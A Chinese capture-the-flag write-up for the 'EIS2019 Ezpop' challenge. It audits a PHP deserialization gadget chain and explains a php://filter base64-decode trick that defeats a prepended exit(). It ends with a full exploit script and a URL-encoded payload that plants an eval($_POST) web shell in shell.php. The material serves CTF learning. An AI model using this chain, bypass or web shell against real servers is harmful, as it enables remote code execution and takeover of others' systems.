EIS2019 Ezpop

关键词:base64解码、字符绕过、反序列化

首先拿到题,发现index.php源代码,进行审计

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

入口为GET方式传入的data,对其进行反序列化。并且在A类中找到析构函数调用save函数(需要autosave不为true)。

public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

save函数调用getForStorage和store属性的set方法。可知store属性为b类。

getForStorage:

public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

cleanContents:

public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

效果为仅保留cache中值为path、dirname等的键值。

继续追踪到set函数:

public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

可知$this->options可控,而函数末尾有文件写,因而企图操控该函数进行写马。文件名filename同样可控。

但由于$data中有<?php exit();?>,并且不可以从代码注入方面绕过,若不进行处理将会使写入的木马无法运行。因而选择采用base64不识别<?()[]{};等字符的特性进行绕过。

此处采用php伪协议php://filter/write=convert.base64-decode/resource=shell.php将payload写入shell.php,此时base64的解码等同于:

php//exit

而sprintf中规定了12字节的写入,因而解码前的写入data为:

php//000000000000exit

由于data是json序列化对象,而序列化的目标是$path指向的字符串,因而base64解码前的$data为:

"<?php
//000000000011			//这里的11是expire,同样可控
 exit();?>
[{"111":{"path":"PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+"}},"2"]"  //这里的path是经过base64加密的shell,111是$path的值

而可以被base64解码的地方为:

php//000000000011exit111pathPD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+2

由于base64是4字节一组的解码方式,因而$path的名称应当为3字节,保证后面的恶意代码不会因为base64解码错位而发挥不了作用。此处是’111’。

而filename由prefix和key组成,而这两个变量可控。因而得出最终exp:

<?php
class A {
    protected $key;
    protected $store;
    protected $expire;
    public function __construct(){
        $this->key = 'shell.php';
    }
    public function start($name){
        $this->store = $name;
    }
}

class B {
    public $options;
}

$a = new A();
$b = new B();
$b->options['serialize'] = 'strval';
$b->options['expire'] = 11;
$b->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$b->options['data_compress'] = false;
$object = Array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+");
$path = '111';
$a->start($b);
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>

payload:

O%3A1%3A%22A%22%3A5%3A%7Bs%3A6%3A%22%00%2A%00key%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3Bs%3A6%3A%22expire%22%3Bi%3A11%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A111%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A40%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8%2B%22%3B%7D%7Ds%3A8%3A%22complete%22%3Bs%3A1%3A%222%22%3B%7D

打入网页植入木马,在根目录获取flag。

小结

一开始做这道题的时候其实还是有些懵的,在梳理好调用链和可控对象之后形势就逐渐明朗起来,也许是找到了解题的通用思路(笑